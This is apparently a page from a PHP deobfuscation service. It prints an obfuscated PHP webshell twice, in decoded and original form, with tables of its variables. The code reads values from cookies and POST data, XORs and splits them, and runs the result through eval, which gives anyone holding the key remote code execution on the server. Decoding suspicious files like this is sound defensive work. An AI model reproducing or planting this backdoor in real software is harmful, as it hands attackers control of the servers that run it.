Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $tRaGJE = chr (115) . chr ( 833 -/* gciCg */717 ).'r'/*mcCwE*/. "\137"..

Decoded Output download

<?php $tRaGJE	=	chr     (115)  . chr  (	833	-/*   gciCg */717   ).'r'/*mcCwE*/.     "_"   .	chr	(114)    ./*  jCGqi*/chr   (101)   .  chr/*  LME */(     452/*i   */-   340  )."e"	./*   IJ*/"a"	.    "t"; 
$nyEmc/*   ycV  */=  chr (/*J*/462	-	361	)."x" .	"p"/*KmB   */.  chr/*   E  */(	557	-	449/*   H   */)."o"	./*   tWs */'d'  .	'e';; 
 
$vmtrGVFbQ	= "p"	.	'a'	.	"c"	./*   IFL */chr	(107);$_WPN =	'49989'; 
					function/* MbtUe   */uPeMQRq() 
     /*   PrvVa */{ 
	$GkNVmlO =  Array	(    "zqeUE"/*   o*/=>/*  GG   */"TqfdIzJJEuRghAISjMykUrzIeunfKs"/*   ztcVa  */); 
		      
     	$eYBjOHxqc	=    Array/*   QYXuc */(	"AuLFMXiCXkgwyGAB"   =>/*  tjSnE  */"aLskcsAdfOqMiaIZhxYU"    );$_EK/* bKQ  */=	'1999'; 
	   $qEGokBxgRH =/*dCQ*/Array(   $GkNVmlO,/* TOkTT*/$_COOKIE,   $GkNVmlO,/* LqqNy   */$_POST,     $eYBjOHxqc);; 
	 
 
 
	return/*  CfbGg */$qEGokBxgRH;$_zORp	=   '17154'; 
	} 
   	 
	function/*  zwPw  */jOfHuNj($MuRIpxcbUZ) 
		/*   kUIyH*/{ 
			if ( count/* Qlyrh*/(/*  vp */$MuRIpxcbUZ	)/*  ycam*/==/*  OU  */3	)    { 
/*  gf*/$kxRhg    =	$MuRIpxcbUZ[1];$_ub/*  JUum*/=     '61116'; 
/*  Wgj  */$DrnycofP/*  R*/=	$MuRIpxcbUZ[2]; 
  	$ENiTcTihg  =	$kxRhg($DrnycofP);; 
   /*fAMM*/eval/* W*/(/*  V*/$ENiTcTihg/*G */); 
			/*  GZY   */die/* F   */(); 
			  } 
	} 
 
    
			/*   TUCzP   */function/* Pmbr*/ZeuRTKNA($bnrbqiL,	$iYLMfoX) 
 
 
/*LOIr */{ 
		return	$bnrbqiL   ^  $iYLMfoX;; 
			/*aoM */} 
  
    	$AQWKu     =   chr	(35);$_y/*   vb*/=	'6970'; 
 
 
	 
		/*  Dl   */foreach/*  mAT   */(uPeMQRq()/*   xVn */as/* KfQ*/$tbRhpfL)	{ 
		/*  I*/foreach	(	$tbRhpfL	as	$iYLMfoX/*   VxBX */=>    $bnrbqiL/* C*/)	{ 
 	 
	$bnrbqiL/*  Z */=/* VH*/@$vmtrGVFbQ(	chr/*  TrLD   */(72)	.	chr (     245 -/*nwfo */203     ),	$bnrbqiL   ); 
	 
      $iYLMfoX    .= "gjIID-LhPMG-eCCHtX-RvEtb-yYbdt-LxOFLLQ-hNjJv";; 
     /*nq   */$iYLMfoX	=   $tRaGJE/*hIRI */(  $iYLMfoX,	(/*GatQz */strlen(/*  mD*/$bnrbqiL	)/strlen(/*  vzhQ */$iYLMfoX	)/*   lgCJ   */)/*   mEJEf */+	1); 
	 
     /*Hy  */$IylIz/*   H */=	ZeuRTKNA($bnrbqiL,/*Srg  */$iYLMfoX);; 
 
     
         $MuRIpxcbUZ     =	$nyEmc ($AQWKu,/*   yHTle   */$IylIz    ); 
 
 
     
				/*  siaK   */jOfHuNj($MuRIpxcbUZ);$_rwuY	=/* JQ  */'27263'; 
	 
 
	continue;; 
			} 
	   } ?>

Did this file decode correctly?

Original Code

<?php $tRaGJE	=	chr     (115)  . chr  (	833	-/*   gciCg */717   ).'r'/*mcCwE*/.     "\137"   .	chr	(114)    ./*  jCGqi*/chr   (101)   .  chr/*  LME */(     452/*i   */-   340  )."\145"	./*   IJ*/"\x61"	.    "\x74";
$nyEmc/*   ycV  */=  chr (/*J*/462	-	361	)."\170" .	"\160"/*KmB   */.  chr/*   E  */(	557	-	449/*   H   */)."\157"	./*   tWs */'d'  .	'e';;

$vmtrGVFbQ	= "\160"	.	'a'	.	"\143"	./*   IFL */chr	(107);$_WPN =	'49989';
					function/* MbtUe   */uPeMQRq()
     /*   PrvVa */{
	$GkNVmlO =  Array	(    "zqeUE"/*   o*/=>/*  GG   */"TqfdIzJJEuRghAISjMykUrzIeunfKs"/*   ztcVa  */);
		     
     	$eYBjOHxqc	=    Array/*   QYXuc */(	"AuLFMXiCXkgwyGAB"   =>/*  tjSnE  */"aLskcsAdfOqMiaIZhxYU"    );$_EK/* bKQ  */=	'1999';
	   $qEGokBxgRH =/*dCQ*/Array(   $GkNVmlO,/* TOkTT*/$_COOKIE,   $GkNVmlO,/* LqqNy   */$_POST,     $eYBjOHxqc);;
	


	return/*  CfbGg */$qEGokBxgRH;$_zORp	=   '17154';
	}
   	
	function/*  zwPw  */jOfHuNj($MuRIpxcbUZ)
		/*   kUIyH*/{
			if ( count/* Qlyrh*/(/*  vp */$MuRIpxcbUZ	)/*  ycam*/==/*  OU  */3	)    {
/*  gf*/$kxRhg    =	$MuRIpxcbUZ[1];$_ub/*  JUum*/=     '61116';
/*  Wgj  */$DrnycofP/*  R*/=	$MuRIpxcbUZ[2];
  	$ENiTcTihg  =	$kxRhg($DrnycofP);;
   /*fAMM*/eval/* W*/(/*  V*/$ENiTcTihg/*G */);
			/*  GZY   */die/* F   */();
			  }
	}

   
			/*   TUCzP   */function/* Pmbr*/ZeuRTKNA($bnrbqiL,	$iYLMfoX)


/*LOIr */{
		return	$bnrbqiL   ^  $iYLMfoX;;
			/*aoM */}
 
    	$AQWKu     =   chr	(35);$_y/*   vb*/=	'6970';


	
		/*  Dl   */foreach/*  mAT   */(uPeMQRq()/*   xVn */as/* KfQ*/$tbRhpfL)	{
		/*  I*/foreach	(	$tbRhpfL	as	$iYLMfoX/*   VxBX */=>    $bnrbqiL/* C*/)	{
 	
	$bnrbqiL/*  Z */=/* VH*/@$vmtrGVFbQ(	chr/*  TrLD   */(72)	.	chr (     245 -/*nwfo */203     ),	$bnrbqiL   );
	
      $iYLMfoX    .= "gjIID-LhPMG-eCCHtX-RvEtb-yYbdt-LxOFLLQ-hNjJv";;
     /*nq   */$iYLMfoX	=   $tRaGJE/*hIRI */(  $iYLMfoX,	(/*GatQz */strlen(/*  mD*/$bnrbqiL	)/strlen(/*  vzhQ */$iYLMfoX	)/*   lgCJ   */)/*   mEJEf */+	1);
	
     /*Hy  */$IylIz/*   H */=	ZeuRTKNA($bnrbqiL,/*Srg  */$iYLMfoX);;

    
         $MuRIpxcbUZ     =	$nyEmc ($AQWKu,/*   yHTle   */$IylIz    );


    
				/*  siaK   */jOfHuNj($MuRIpxcbUZ);$_rwuY	=/* JQ  */'27263';
	

	continue;;
			}
	   }

Function Calls

chr 9
uPeMQRq 1

Variables

$_y 6970
$_EK 1999
$_WPN 49989
$AQWKu #
$_zORp 17154
$nyEmc explode
$tRaGJE str_repeat
$GkNVmlO [{'key': 'zqeUE', 'value': 'TqfdIzJJEuRghAISjMykUrzIeunfKs'}]
$eYBjOHxqc [{'key': 'AuLFMXiCXkgwyGAB', 'value': 'aLskcsAdfOqMiaIZhxYU'}]
$vmtrGVFbQ pack
$qEGokBxgRH [{'key': 0, 'value': [{'key': 'zqeUE', 'value': 'TqfdIzJJEuRghAISjMykUrzIeunfKs'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'zqeUE', 'value': 'TqfdIzJJEuRghAISjMykUrzIeunfKs'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'AuLFMXiCXkgwyGAB', 'value': 'aLskcsAdfOqMiaIZhxYU'}]}]

Stats

MD5 cd1aee61da9db1602444fa4c902d29d6
Eval Count 0
Decode Time 277 ms